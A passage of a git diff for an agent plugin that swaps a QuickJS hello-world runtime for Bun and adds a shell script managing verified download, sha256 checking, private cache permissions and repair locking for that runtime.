RUNTIME_BUNDLE_SHA256='535431fb5dd1ed0a30a02105818a77bcbcadfa4395b029f614fe4283a7346ec7' + ;; + *) return 1 ;; + esac +} diff --git a/plugin/runtime/hello-world.js b/plugin/runtime/hello-world.js index 391cb1f..d46abbd 100644 --- a/plugin/runtime/hello-world.js +++ b/plugin/runtime/hello-world.js @@ -1,25 +1,13 @@ +// @bun // Generated from runtime/src/. Edit source, then run bun run build. -// x-release-please-start-version -const PLUGIN_VERSION = "0.1.1"; -// x-release-please-end -import*as D from"qjs:std";function S(L="",q=""){return{exitCode:0,stdout:L,stderr:q}}function H(L){return{exitCode:2,stdout:"",stderr:`hello-world: ${L} +function R(D="",U=""){return{exitCode:0,stdout:D,stderr:U}}function W(D){return{exitCode:2,stdout:"",stderr:`hello-world: ${D} Run hello-world --help for usage. -`}}function $(L,q){let W=L.indexOf(q);if(W===-1)return;return L[W+1]}function B(){return`hello-world ${PLUGIN_VERSION} - -Usage: +`}}function k(D,U){let L=D.indexOf(U);if(L===-1)return;return D[L+1]}function q(){return`Usage: hello-world hello [--name ] [--json] - hello-world hook --harness claude --event - hello-world hook --harness codex --event --plugin-version hello-world --help Commands: hello Print a greeting. No files, network calls, or durable state. - hook Accept a harness hook payload on stdin and exit successfully. - -Hook options: - --plugin-version Required for Codex hooks only. -`}function z(L,q,W){let[O,...N]=L;if(O===void 0||O==="--help"||O==="-h")return S(B());if(O==="--version"||O==="-v")return S(`${PLUGIN_VERSION} -`);if(O==="hello"){let R=$(N,"--name")??"world";if(N.includes("--json"))return S(`${JSON.stringify({ok:!0,command:"hello",pluginVersion:PLUGIN_VERSION,message:`Hello, ${R}!`,sideEffects:"none",runId:W})} -`);return S(`Hello, ${R}! -`)}if(O==="hook"){let R=$(N,"--harness"),k=$(N,"--event"),j=$(N,"--plugin-version");if(R!=="codex"&&R!=="claude")return H("--harness must be codex or claude");if(!k)return H("--event is required");if(R==="codex"&&!j)return H("--plugin-version is required for codex hooks");if(j&&j!==PLUGIN_VERSION)return H(`--plugin-version must be ${PLUGIN_VERSION}`);if(q.trim())try{JSON.parse(q)}catch{return H("hook stdin must be JSON")}return S("",`hello-world hook: ${R} ${k} -`)}return H(`unknown command: ${O}`)}var E=D.in.readAsString(),F=D.getenv("HELLO_WORLD_RUN_ID")??`quickjs-${Date.now()}`,U=z(scriptArgs.slice(1),E,F);if(U.stdout)D.out.puts(U.stdout);if(U.stderr)D.err.puts(U.stderr);D.exit(U.exitCode); +`}function N(D,U){let[L,...v]=D;if(L===void 0||L==="--help"||L==="-h")return R(q());if(L==="hello"){let H=k(v,"--name")??"world";if(v.includes("--json"))return R(`${JSON.stringify({ok:!0,command:"hello",message:`Hello, ${H}!`,sideEffects:"none",runId:U})} +`);return R(`Hello, ${H}! +`)}return W(`unknown command: ${L}`)}var O=N(process.argv.slice(2),process.env.HELLO_WORLD_RUN_ID??crypto.randomUUID());if(O.stdout)process.stdout.write(O.stdout);if(O.stderr)process.stderr.write(O.stderr);process.exit(O.exitCode); diff --git a/plugin/runtime/qjs-darwin-arm64 b/plugin/runtime/qjs-darwin-arm64 deleted file mode 100755 index 6e8e460..0000000 Binary files a/plugin/runtime/qjs-darwin-arm64 and /dev/null differ diff --git a/plugin/runtime/qjs-darwin-x86_64 b/plugin/runtime/qjs-darwin-x86_64 deleted file mode 100755 index 5556ae8..0000000 Binary files a/plugin/runtime/qjs-darwin-x86_64 and /dev/null differ diff --git a/plugin/runtime/qjs-linux-aarch64 b/plugin/runtime/qjs-linux-aarch64 deleted file mode 100755 index 79859fb..0000000 Binary files a/plugin/runtime/qjs-linux-aarch64 and /dev/null differ diff --git a/plugin/runtime/qjs-linux-x86_64 b/plugin/runtime/qjs-linux-x86_64 deleted file mode 100755 index f69fc4e..0000000 Binary files a/plugin/runtime/qjs-linux-x86_64 and /dev/null differ diff --git a/plugin/runtime/quickjs-assets.json b/plugin/runtime/quickjs-assets.json deleted file mode 100644 index 0f27090..0000000 --- a/plugin/runtime/quickjs-assets.json +++ /dev/null @@ -1,26 +0,0 @@ -{ - "version": "0.16.1", - "source": "https://github.com/quickjs-ng/quickjs/releases/tag/v0.16.1", - "assets": { - "darwin-arm64": { - "file": "qjs-darwin-arm64", - "sha256": "9a24e7435036906c098d539daf47bcc8e7e8ad2f3aa084a0bce9313c6c3527e0", - "bytes": 1303984 - }, - "darwin-x64": { - "file": "qjs-darwin-x86_64", - "sha256": "5982a1ebb20e1a9bf6162bafd29d445823616084cfeddee8881f8d69d6e0fd74", - "bytes": 1226992 - }, - "linux-arm64": { - "file": "qjs-linux-aarch64", - "sha256": "c1635453aa60a78ebc7f05b2b559e0e9e9eb7d55b4dfc4a6e71a07d9d10b8a89", - "bytes": 2558048 - }, - "linux-x64": { - "file": "qjs-linux-x86_64", - "sha256": "aae0d428c88bdd30fb490f54e616ebd4009ec279cc2a16ecebf0c3e17f7e76e7", - "bytes": 2583752 - } - } -} diff --git a/plugin/runtime/runtime-exec b/plugin/runtime/runtime-exec new file mode 100755 index 0000000..37ae6fd --- /dev/null +++ b/plugin/runtime/runtime-exec @@ -0,0 +1,1153 @@ +#!/bin/sh +# runtime-exec — stage-zero Bun runtime custody engine (ADR 0005). +# +# The whole command surface: +# run [-- args...] execute a catalog skill on the verified runtime +# repair read-only, network-free repair preview +# repair --apply the sole acquisition/replacement operation +# repair --apply --reclaim-foreign-lock +# explicitly approved migrated-cache recovery +# help | -h | --help ordinary help +# +# Exit classes: +# 0 success (repair preview/apply); run passes the bundle's status through +# 2 usage error +# 20 actionable missing/corrupt custody state +# 21 unsupported platform or missing host prerequisite +# 22 retry-later repair failure +# 23 integrity or release-contract failure +# +# Custody failures and repair responses emit exactly one versioned JSON +# control object on stdout; stderr carries human diagnostics only. After a +# successful launch the bundle's stdout/stderr/exit pass through unchanged. +set -eu + +schema_version=1 +# Production acquisition is HTTPS-only. Test fixtures rewrite this internal +# constant in their private engine copy; caller environment cannot enable it. +test_allow_file_urls=0 + +# --- caller environment preservation (R20) ---------------------------------- +# The ordinary app environment is preserved for the skill process; custody +# itself never consults it. +caller_path_set=0 +caller_path='' +if [ "${PATH+x}" = x ]; then + caller_path_set=1 + caller_path=$PATH +fi +caller_lc_all_set=0 +caller_lc_all='' +if [ "${LC_ALL+x}" = x ]; then + caller_lc_all_set=1 + caller_lc_all=$LC_ALL +fi +# Capture the caller umask so the launched skill inherits its own file-mode +# policy; custody-owned writes still use the tightened 077 set just below. +caller_umask=$(umask) + +# --- custody sanitation (R10) ------------------------------------------------ +# Fixed absolute tool locations, C locale, default field splitting, and +# owner-only file creation. The caller's PATH is never trusted for custody. +unset IFS CDPATH ENV BASH_ENV 2>/dev/null || : +host_tool_dirs='/usr/bin:/bin:/usr/sbin:/sbin:/usr/local/bin:/opt/homebrew/bin' +PATH=$host_tool_dirs +export PATH +LC_ALL=C +export LC_ALL +umask 077 + +case "$0" in +*/*) script_source_dir=${0%/*} ;; +*) script_source_dir=. ;; +esac +script_dir=$(CDPATH='' cd -- "$script_source_dir" && pwd -P) +plugin_root=$(CDPATH='' cd -- "$script_dir/.." && pwd -P) + +side_effects='' + +# --- control-object plumbing (R19) ------------------------------------------- + +diag() { + printf 'runtime-exec: %s\n' "$1" >&2 +} + +emit_envelope() { + # $1 ok $2 code $3 sideEffects JSON array $4 retrySafe $5 nextAction + # $6 optional extra JSON fragment starting with a comma + printf '{"schemaVersion":%s,"ok":%s,"code":"%s","sideEffects":%s,"retrySafe":%s,"nextAction":"%s"%s}\n' \ + "$schema_version" "$1" "$2" "$3" "$4" "$5" "${6-}" +} + +die() { + # $1 exit status $2 code $3 sideEffects JSON $4 retrySafe $5 nextAction + # $6 optional extra fragment + emit_envelope false "$2" "$3" "$4" "$5" "${6-}" + exit "$1" +} + +add_side_effect() { + _item='"'$1'"' + if [ -z "$side_effects" ]; then + side_effects=$_item + else + side_effects=$side_effects,$_item + fi +} + +side_effects_json() { + printf '[%s]' "$side_effects" +} + +runtime_extra() { + printf ',"runtime":{"version":"%s","executableSha256":"%s"}' \ + "$RUNTIME_LOCK_VERSION" "$RUNTIME_ASSET_EXECUTABLE_SHA256" +} + +state_extra() { + printf '%s,"state":{"before":"%s"}' "$(runtime_extra)" "$1" +} + +print_help() { + printf '%s\n' \ + 'runtime-exec - Bun runtime custody engine' \ + '' \ + 'Usage:' \ + ' runtime-exec run [-- args...] Run a catalog skill on the verified runtime.' \ + ' runtime-exec repair Preview needed repair (read-only, no network).' \ + ' runtime-exec repair --apply Download, verify, and install the locked runtime.' \ + ' runtime-exec repair --apply --reclaim-foreign-lock' \ + ' Reclaim a lock from another host after explicit approval.' \ + ' runtime-exec help Show this help.' \ + '' \ + 'run never downloads or repairs; repair --apply is the only operation that' \ + 'acquires or replaces the runtime. Custody results are one JSON object on' \ + 'stdout. Exit codes: 0 success, 2 usage, 20 actionable custody state,' \ + '21 unsupported platform or missing host tool, 22 retry-later, 23 integrity' \ + 'or release-contract failure.' +} + +# --- sanitized host tool resolution (R10) ------------------------------------ + +resolve_tool() { + _rt_name=$1 + _rt_dirs=$host_tool_dirs + while [ -n "$_rt_dirs" ]; do + case "$_rt_dirs" in + *:*) + _rt_dir=${_rt_dirs%%:*} + _rt_dirs=${_rt_dirs#*:} + ;; + *) + _rt_dir=$_rt_dirs + _rt_dirs='' + ;; + esac + if [ -n "$_rt_dir" ] && [ -f "$_rt_dir/$_rt_name" ] && [ -x "$_rt_dir/$_rt_name" ]; then + printf '%s' "$_rt_dir/$_rt_name" + return 0 + fi + done + return 1 +} + +need_tool() { + if _nt_path=$(resolve_tool "$1"); then + eval "tool_$1=\$_nt_path" + return 0 + fi + diag "required host tool not found in sanitized locations: $1" + die 21 HOST_TOOL_MISSING '[]' false "Install $1 in a standard system location such as /usr/bin, /bin, /usr/local/bin, or /opt/homebrew/bin, then retry." +} + +resolve_sha_tool() { + if _st_path=$(resolve_tool sha256sum); then + sha_cmd=$_st_path + sha_args='' + return 0 + fi + if _st_path=$(resolve_tool shasum); then + sha_cmd=$_st_path + sha_args='-a 256' + return 0 + fi + diag 'required host tool not found in sanitized locations: sha256sum or shasum' + die 21 HOST_TOOL_MISSING '[]' false 'Install sha256sum or shasum in a standard system location such as /usr/bin, /bin, /usr/local/bin, or /opt/homebrew/bin, then retry.' +} + +require_common_tools() { + for _t in uname ls id wc rm mkdir; do + need_tool "$_t" + done + resolve_sha_tool + current_uid=$("$tool_id" -u) + host_id=$("$tool_uname" -n) +} + +require_apply_tools() { + for _t in mkdir rm mv ln chmod dd head curl unzip ps find awk; do + need_tool "$_t" + done +} + +sha_file() { + _sf_file=$1 + _sf_out=$("$sha_cmd" $sha_args "$_sf_file" 2>/dev/null) || { + printf '' + return 0 + } + set -- $_sf_out + printf '%s' "${1-}" +} + +sha_stdin() { + _ss_out=$("$sha_cmd" $sha_args 2>/dev/null) || return 1 + set -- $_ss_out + printf '%s' "${1-}" +} + +file_size() { + _fs_out=$("$tool_wc" -c <"$1" 2>/dev/null) || { + printf '' + return 0 + } + set -- $_fs_out + printf '%s' "${1-}" +} + +sanitize_bun_environment() { + unset BUN_OPTIONS NODE_OPTIONS NODE_PATH BUN_INSTALL BUN_INSTALL_CACHE_DIR BUN_CONFIG_FILE 2>/dev/null || : + DO_NOT_TRACK=1 + export DO_NOT_TRACK + BUN_RUNTIME_TRANSPILER_CACHE_PATH=0 + export BUN_RUNTIME_TRANSPILER_CACHE_PATH +} + +# --- platform custody (R9) ---------------------------------------------------- + +detect_platform() { + _dp_system=$("$tool_uname" -s) + _dp_machine=$("$tool_uname" -m) + case "$_dp_system:$_dp_machine" in + Darwin:arm64) platform=darwin-arm64 ;; + Darwin:x86_64) platform=darwin-x64 ;; + Linux:aarch64 | Linux:arm64) platform=linux-arm64 ;; + Linux:x86_64) platform=linux-x64 ;; + *) + diag "unsupported platform: $_dp_system/$_dp_machine" + die 21 UNSUPPORTED_PLATFORM '[]' false 'Use a supported platform: macOS arm64/x64 or Linux glibc arm64/x64.' + ;; + esac + if [ "$_dp_system" = Linux ]; then + need_tool getconf + _dp_libc=$("$tool_getconf" GNU_LIBC_VERSION 2>/dev/null) || _dp_libc='' + case "$_dp_libc" in + glibc\ *) ;; + *) + diag 'unsupported Linux libc; this payload requires glibc' + die 21 UNSUPPORTED_PLATFORM '[]' false 'Use glibc Linux arm64/x64; musl and unrecognized Linux libc implementations are unsupported.' + ;; + esac + fi +} + +# --- generated projections (R14) ---------------------------------------------- + +load_projections() { + for _lp_file in runtime-lock.sh skill-catalog.sh bundle-inventory.sh; do + if [ ! -f "$plugin_root/runtime/$_lp_file" ]; then + diag "generated projection missing: runtime/$_lp_file" + die 23 LOCK_INVALID '[]' false 'Reinstall the plugin payload; generated runtime projections are missing.' + fi + done + . "$plugin_root/runtime/runtime-lock.sh" + . "$plugin_root/runtime/skill-catalog.sh" + . "$plugin_root/runtime/bundle-inventory.sh" +} + +is_sha256() { + if [ "${#1}" != 64 ]; then return 1; fi + case "$1" in + *[!0-9a-f]*) return 1 ;; + esac + return 0 +} + +is_number() { + case "$1" in + '' | *[!0-9]*) return 1 ;; + esac + return 0 +} + +is_semantic_version() { + case "$1" in + '' | *[!0-9.]* | .* | *. | *..*) return 1 ;; + esac + _iv_major=${1%%.*} + _iv_tail=${1#*.} + if [ "$_iv_tail" = "$1" ]; then return 1; fi + _iv_minor=${_iv_tail%%.*} + _iv_patch=${_iv_tail#*.} + if [ "$_iv_patch" = "$_iv_tail" ]; then return 1; fi + case "$_iv_patch" in *.*) return 1 ;; esac + for _iv_part in "$_iv_major" "$_iv_minor" "$_iv_patch"; do + case "$_iv_part" in + 0) ;; + [1-9]*) + case "$_iv_part" in *[!0-9]*) return 1 ;; esac + ;; + *) return 1 ;; + esac + done + return 0 +} + +select_locked_asset() { + if ! is_semantic_version "${RUNTIME_LOCK_VERSION-}"; then + diag 'runtime lock version is malformed' + die 23 LOCK_INVALID '[]' false 'Regenerate the plugin payload; the runtime lock projection is malformed.' + fi + runtime_lock_select_asset "$platform" || { + diag "runtime lock has no asset for $platform" + die 23 LOCK_INVALID '[]' false 'Regenerate the plugin payload; the runtime lock projection is incomplete.' + } + if ! is_number "$RUNTIME_ASSET_ARCHIVE_BYTES" || ! is_number "$RUNTIME_ASSET_EXECUTABLE_BYTES" || + ! is_sha256 "$RUNTIME_ASSET_ARCHIVE_SHA256" || ! is_sha256 "$RUNTIME_ASSET_EXECUTABLE_SHA256"; then + diag 'runtime lock asset metadata is malformed' + die 23 LOCK_INVALID '[]' false 'Regenerate the plugin payload; the runtime lock projection is malformed.' + fi + case "$RUNTIME_ASSET_ARCHIVE_NAME" in + '' | -* | */* | *..*) + diag 'runtime lock archive name is malformed' + die 23 LOCK_INVALID '[]' false 'Regenerate the plugin payload; the runtime lock projection is malformed.' + ;; + esac + case "$RUNTIME_ASSET_EXECUTABLE_PATH" in + '' | /* | *..* | *'*'* | *'?'* | *'['*) + diag 'runtime lock executable path is malformed' + die 23 LOCK_INVALID '[]' false 'Regenerate the plugin payload; the runtime lock projection is malformed.' + ;; + esac +} + +# --- private shared cache custody (R13) --------------------------------------- + +unsafe_reason='' + +path_is_safe() { + # $1 absolute path that exists $2 redacted label for diagnostics + _ps_path=$1 + _ps_label=$2 + if [ -L "$_ps_path" ]; then + unsafe_reason="$_ps_label is a symlink" + return 1 + fi + _ps_line=$("$tool_ls" -ldn "$_ps_path" 2>/dev/null) || { + unsafe_reason="$_ps_label cannot be inspected" + return 1 + } + set -- $_ps_line + case "${1-}" in + l*) + unsafe_reason="$_ps_label is a symlink" + return 1 + ;; + esac + if [ "${3-}" != "$current_uid" ]; then + unsafe_reason="$_ps_label is not owned by the current user" + return 1 + fi + case "${1-}" in + ?????w*) + unsafe_reason="$_ps_label is group-writable" + return 1 + ;; + esac + case "${1-}" in + ????????w*) + unsafe_reason="$_ps_label is world-writable" + return 1 + ;; + esac + return 0 +} + +resolve_cache_root() { + if [ -n "${XDG_CACHE_HOME-}" ]; then + cache_base=$XDG_CACHE_HOME + elif [ -n "${HOME-}" ]; then + cache_base=$HOME/.cache + else + die 20 CACHE_ROOT_UNSAFE '[]' false 'Set XDG_CACHE_HOME to a private absolute directory owned by the current user.' + fi + case "$cache_base" in + /*) ;; + *) + die 20 CACHE_ROOT_UNSAFE '[]' false 'Set XDG_CACHE_HOME to an absolute path.' + ;; + esac + store_root=$cache_base/agent-plugin-runtime + blob_dir=$store_root/bun/$RUNTIME_ASSET_EXECUTABLE_SHA256 + blob_path=$blob_dir/bun +} + +verify_cache_root_safety() { + for _vc_path in "$cache_base" "$store_root" "$store_root/bun" "$store_root/locks" "$store_root/staging"; do + if [ -e "$_vc_path" ] || [ -L "$_vc_path" ]; then + # A cache component that exists but is not a directory would let a + # regular file (e.g. XDG_CACHE_HOME pointed at a file) pass the + # owner/mode checks, then crash the later mkdir -p under set -eu + # before any typed envelope is emitted. Reject it as an unsafe root. + if [ ! -d "$_vc_path" ]; then + diag "unsafe cache root: a cache directory component is not a directory" + die 20 CACHE_ROOT_UNSAFE "$(side_effects_json)" false 'Point XDG_CACHE_HOME at a private directory owned by the current user; a cache path component is not a directory.' + fi + if ! path_is_safe "$_vc_path" 'runtime cache directory'; then + diag "unsafe cache root: $unsafe_reason" + die 20 CACHE_ROOT_UNSAFE "$(side_effects_json)" false 'Make the runtime cache private: chown it to the current user with mode 700, or point XDG_CACHE_HOME at a private directory.' + fi + fi + done +} + +blob_status='' +blob_reason='' + +assess_blob() { + blob_reason='' + if [ ! -e "$blob_path" ] && [ ! -L "$blob_path" ]; then + blob_status=missing + return 0 + fi + if [ -L "$blob_path" ] || [ ! -f "$blob_path" ]; then + blob_status=corrupt + blob_reason='runtime executable is not a regular file' + return 0 + fi + if ! path_is_safe "$blob_dir" 'runtime blob directory'; then + blob_status=corrupt + blob_reason=$unsafe_reason + return 0 + fi + if ! path_is_safe "$blob_path" 'runtime executable'; then + blob_status=corrupt + blob_reason=$unsafe_reason + return 0 + fi + if [ ! -x "$blob_path" ]; then + blob_status=corrupt + blob_reason='runtime executable lost its execute permission' + return 0 + fi + if [ "$(file_size "$blob_path")" != "$RUNTIME_ASSET_EXECUTABLE_BYTES" ]; then + blob_status=corrupt + blob_reason='runtime executable size mismatch' + return 0 + fi + if [ "$(sha_file "$blob_path")" != "$RUNTIME_ASSET_EXECUTABLE_SHA256" ]; then + blob_status=corrupt + blob_reason='runtime executable sha256 mismatch' + return 0 + fi + blob_status=valid +} + +# --- writer lock (R13) -------------------------------------------------------- + +start_token() { + _st_out=$("$tool_ps" -o lstart= -p "$1" 2>/dev/null) || return 1 + if [ -z "$_st_out" ]; then return 1; fi + set -- $_st_out + printf '%s' "$*" +} + +make_nonce() { + _mn_hash=$("$tool_dd" if=/dev/urandom bs=32 count=1 2>/dev/null | sha_stdin) || _mn_hash='' + if [ -z "$_mn_hash" ]; then _mn_hash="fallback$$"; fi + printf 'n%.24s-%s' "$_mn_hash" "$$" +} + +read_lock_record() { + rec_host='' + rec_pid='' + rec_start='' + rec_staging='' + if [ ! -f "$lock_dir/record" ]; then return 0; fi + # Probe the complete record through a resolved host tool first. This turns + # permission and filesystem read failures into an ordinary return value + # instead of allowing a redirection error to escape under set -e. + if ! "$tool_wc" -c <"$lock_dir/record" >/dev/null 2>&1; then + return 1 + fi + if ! { + while IFS= read -r _lr_line || [ -n "$_lr_line" ]; do + case "$_lr_line" in + host=*) rec_host=${_lr_line#host=} ;; + pid=*) rec_pid=${_lr_line#pid=} ;; + start=*) rec_start=${_lr_line#start=} ;; + staging=*) rec_staging=${_lr_line#staging=} ;; + esac + done + } <"$lock_dir/record"; then + return 1 + fi + return 0 +} + +lock_record_identity() { + _lri_line=$("$tool_ls" -idn "$lock_dir" 2>/dev/null) || _lri_line='' + set -- $_lri_line + printf 'inode=%s\nhost=%s\npid=%s\nstart=%s\nstaging=%s\n' \ + "${1-}" "$rec_host" "$rec_pid" "$rec_start" "$rec_staging" +} + +# Recordless grace in whole minutes. find -mmin only accepts an integer on BSD +# (macOS): a fractional argument like +0.5 exits "illegal trailing character", +# which silently defeats reclaim and strands every future repair in LOCK_HELD. +# One minute is a portable integer that comfortably exceeds the sub-second +# window between mkdir and the atomic record publish. +RECORDLESS_LOCK_GRACE_MINS=1 + +lock_is_older_than_grace() { + # True (exit 0) when the lock directory is older than the recordless grace + # window. Uses find -mmin with an integer minute to avoid BSD/GNU stat mtime + # format differences and the BSD fractional-argument rejection; returns + # non-zero (unknown -> caller keeps the conservative live default) when age + # cannot be established. + _lig_hit=$("$tool_find" "$lock_dir" -prune -mmin "+$RECORDLESS_LOCK_GRACE_MINS" 2>/dev/null) || return 1 + [ -n "$_lig_hit" ] +} + +read_reclaim_marker() { + mr_host='' + mr_pid='' + mr_start='' + mr_nonce='' + if [ -L "$1" ] || [ ! -f "$1" ]; then return 1; fi + if ! "$tool_wc" -c <"$1" >/dev/null 2>&1; then return 1; fi + if ! { + while IFS= read -r _rm_line || [ -n "$_rm_line" ]; do + case "$_rm_line" in + host=*) mr_host=${_rm_line#host=} ;; + pid=*) mr_pid=${_rm_line#pid=} ;; + start=*) mr_start=${_rm_line#start=} ;; + nonce=*) mr_nonce=${_rm_line#nonce=} ;; + esac + done + } <"$1"; then + return 1 + fi + case "$mr_pid" in '' | *[!0-9]*) return 1 ;; esac + case "$mr_nonce" in '' | *[!A-Za-z0-9_.:-]*) return 1 ;; esac + [ -n "$mr_host" ] && [ -n "$mr_start" ] +} + +reclaim_marker_owner_is_live() { + if [ "$mr_host" != "$host_id" ]; then + if [ "$reclaim_foreign_lock" = 1 ]; then return 1; fi + return 0 + fi + if ! kill -0 "$mr_pid" 2>/dev/null; then return 1; fi + _rm_owner_start=$(start_token "$mr_pid") || return 0 + [ "$_rm_owner_start" = "$mr_start" ] +} + +remove_owned_reclaim_marker() { + if ! read_reclaim_marker "$1"; then return 1; fi + if [ "$mr_host" != "$host_id" ] || [ "$mr_pid" != "$$" ] || [ "$mr_start" != "$_rsl_start" ] || [ "$mr_nonce" != "$nonce" ]; then + return 1 + fi + "$tool_rm" -f "$1" 2>/dev/null +} + +writer_is_live() { + # A writer that cannot be proven dead is treated as live (never reclaim a + # live writer). + if [ -z "$rec_host" ] && [ -z "$rec_pid" ]; then + # No record: either the creator is between mkdir and its atomic record + # publish (a sub-second window), or it died before publishing and the + # lock would otherwise strand every future repair forever. Treat a fresh + # recordless lock as live (retry is safe) but a recordless lock older + # than the grace window as a dead creator that may be reclaimed. + if lock_is_older_than_grace; then + return 1 + fi + return 0 + fi + if [ "$rec_host" != "$host_id" ]; then + if [ "$reclaim_foreign_lock" = 1 ]; then return 1; fi + # A PID from another host cannot be proven live or dead locally. Require a + # separate human-approved recovery instead of reclaiming a potentially + # active writer on a shared cache. + return 2 + fi + case "$rec_pid" in + '' | *[!0-9]*) return 1 ;; + esac + if ! kill -0 "$rec_pid" 2>/dev/null; then return 1; fi + _wl_now=$(start_token "$rec_pid") || return 0 + if [ "$_wl_now" = "$rec_start" ]; then return 0; fi + return 1 +} + +reclaim_stale_lock() { + _rsl_expected_identity=$1 + if [ -L "$lock_dir" ] || [ ! -d "$lock_dir" ]; then + diag 'repair lock path is not a plain directory' + die 20 CACHE_ROOT_UNSAFE "$(side_effects_json)" true 'Remove the malformed repair lock path from the private runtime cache, then retry.' + fi + # Atomically claim this exact directory before the final identity check. A + # hard-linked, fully written owner record means contenders never observe a + # half-published claimant identity. A fixed marker admits only one reclaimer. + _rsl_marker=$lock_dir/.reclaim-claim + _rsl_record=$lock_dir/.reclaim-record-$nonce + _rsl_start=$(start_token "$$") || { + diag 'could not establish reclaim claimant identity' + die 20 CACHE_ROOT_UNSAFE "$(side_effects_json)" true 'Restore process inspection for the current user, then retry runtime repair.' + } + if ! { + printf 'host=%s\n' "$host_id" + printf 'pid=%s\n' "$$" + printf 'start=%s\n' "$_rsl_start" + printf 'nonce=%s\n' "$nonce" + } >"$_rsl_record"; then + die 20 CACHE_ROOT_UNSAFE "$(side_effects_json)" true 'Make the private runtime cache writable, then retry.' + fi + if ! "$tool_ln" "$_rsl_record" "$_rsl_marker" 2>/dev/null; then + "$tool_rm" -f "$_rsl_record" 2>/dev/null || : + if [ ! -e "$lock_dir" ] && [ ! -L "$lock_dir" ]; then + return 0 + fi + if [ -f "$_rsl_marker" ] && [ ! -L "$_rsl_marker" ]; then + if ! read_reclaim_marker "$_rsl_marker"; then + die 20 CACHE_ROOT_UNSAFE "$(side_effects_json)" true 'Remove the malformed reclaim marker from the private runtime cache, then retry.' + fi + if reclaim_marker_owner_is_live; then return 0; fi + diag 'repair lock has an abandoned reclaim marker' + die 20 CACHE_ROOT_UNSAFE "$(side_effects_json)" false 'Confirm that no repair is active, ask the user to approve removal of the abandoned .reclaim-claim file, then retry runtime repair.' + fi + diag 'could not claim the stale repair lock safely' + die 20 CACHE_ROOT_UNSAFE "$(side_effects_json)" true 'Make the private runtime cache writable and remove malformed reclaim debris, then retry.' + fi + if ! "$tool_rm" -f "$_rsl_record" 2>/dev/null; then + remove_owned_reclaim_marker "$_rsl_marker" || : + die 20 CACHE_ROOT_UNSAFE "$(side_effects_json)" true 'The reclaim owner record could not be finalized. Make the private runtime cache writable, then retry.' + fi + # The stale judgment and rename are separate filesystem operations. Re-read + # the record after owning the in-directory claim so a replacement lock is + # never renamed based on the earlier judgment. + if ! read_lock_record; then + remove_owned_reclaim_marker "$_rsl_marker" || : + diag 'could not re-read the repair lock before reclamation' + die 20 CACHE_ROOT_UNSAFE "$(side_effects_json)" true 'Restore the private runtime cache lock record to an owner-readable file, or point XDG_CACHE_HOME at a writable private directory, then retry.' + fi + _rsl_current_identity=$(lock_record_identity) + if [ "$_rsl_current_identity" != "$_rsl_expected_identity" ]; then + if ! remove_owned_reclaim_marker "$_rsl_marker"; then + die 20 CACHE_ROOT_UNSAFE "$(side_effects_json)" true 'The repair lock changed and its reclaim marker could not be removed. Make the private runtime cache writable, then retry.' + fi + diag 'repair lock changed before stale reclamation; retrying acquisition' + return 0 + fi + # Claim the stale lock by renaming its directory to a private nonce-suffixed + # name before removing anything. Two contenders that both judged the same + # record dead cannot both win: the loser's rename fails because the source no + # longer exists at the original path, so it never deletes a directory another + # contender (or a live writer that re-created the lock) now owns. Only the + # winning rename proceeds to remove the stale staging and the claimed dir. + _rsl_claim=$store_root/locks/reclaim-$nonce + if ! "$tool_mv" "$lock_dir" "$_rsl_claim" 2>/dev/null; then + if ! remove_owned_reclaim_marker "$_rsl_marker"; then + die 20 CACHE_ROOT_UNSAFE "$(side_effects_json)" true 'The stale repair lock could not be claimed and its reclaim marker could not be removed. Make the private runtime cache writable, then retry.' + fi + # The directory disappeared independently; retry acquisition. + return 0 + fi + _rsl_cleanup_failed=0 + case "$rec_staging" in + '' | *[!a-zA-Z0-9-]*) : ;; + *) + if ! "$tool_rm" -rf "$store_root/staging/$rec_staging" 2>/dev/null; then + diag 'could not remove staging left by the stale repair writer' + _rsl_cleanup_failed=1 + fi + ;; + esac + if ! "$tool_rm" -rf "$_rsl_claim" 2>/dev/null; then + diag 'could not remove the claimed stale repair lock' + _rsl_cleanup_failed=1 + fi + add_side_effect 'reclaimed-stale-lock' + if [ "$_rsl_cleanup_failed" = 1 ]; then + die 20 CACHE_ROOT_UNSAFE "$(side_effects_json)" true 'The stale repair lock was reclaimed, but cleanup failed. Make the private runtime cache writable, remove stale staging or reclaim debris, then retry.' + fi + diag 'reclaimed a stale repair lock left by a dead writer' +} + +lock_acquired=0 + +acquire_lock() { + lock_dir=$store_root/locks/bun-$RUNTIME_ASSET_EXECUTABLE_SHA256 + nonce=$(make_nonce) + _al_attempts=0 + while :; do + if "$tool_mkdir" "$lock_dir" 2>/dev/null; then + lock_acquired=1 + _al_start=$(start_token "$$") || { + diag 'could not establish repair writer identity' + fail_apply 20 CACHE_ROOT_UNSAFE "$(side_effects_json)" true 'Restore process inspection for the current user, then retry runtime repair.' + } + # Publish the record atomically: a contender reading $lock_dir/record + # never sees a half-written record and so never classifies this live + # writer as dead from an empty pid field. + if ! { + printf 'host=%s\n' "$host_id" + printf 'pid=%s\n' "$$" + printf 'start=%s\n' "$_al_start" + printf 'staging=%s\n' "$nonce" + } >"$lock_dir/record.$nonce"; then + diag 'could not write the repair lock record' + fail_apply 20 CACHE_ROOT_UNSAFE "$(side_effects_json)" true 'Make the runtime cache writable by the current user (mode 700), or point XDG_CACHE_HOME at a writable private directory, then retry.' + fi + if ! "$tool_mv" -f "$lock_dir/record.$nonce" "$lock_dir/record" 2>/dev/null; then + diag 'could not publish the repair lock record' + fail_apply 20 CACHE_ROOT_UNSAFE "$(side_effects_json)" true 'Make the runtime cache writable by the current user (mode 700), or point XDG_CACHE_HOME at a writable private directory, then retry.' + fi + return 0 + fi + # mkdir reports both EEXIST and real filesystem failures. Only enter the + # contention path when a lock actually exists; otherwise an unwritable lock + # root would masquerade indefinitely as LOCK_HELD. + if [ ! -e "$lock_dir" ] && [ ! -L "$lock_dir" ]; then + diag 'could not create the repair lock in the private runtime cache' + die 20 CACHE_ROOT_UNSAFE "$(side_effects_json)" true 'Make the runtime cache lock directory writable by the current user (mode 700), or point XDG_CACHE_HOME at a writable private directory, then retry.' + fi + if [ -L "$lock_dir" ] || [ ! -d "$lock_dir" ]; then + diag 'repair lock path is not a plain directory' + die 20 CACHE_ROOT_UNSAFE "$(side_effects_json)" true 'Remove the malformed repair lock path from the private runtime cache, then retry.' + fi + _al_attempts=$((_al_attempts + 1)) + if [ "$_al_attempts" -gt 3 ]; then + die 22 LOCK_HELD "$(side_effects_json)" true 'Another repair is in progress; retry runtime-exec repair --apply shortly.' + fi + if ! read_lock_record; then + diag 'could not read the existing repair lock record' + die 20 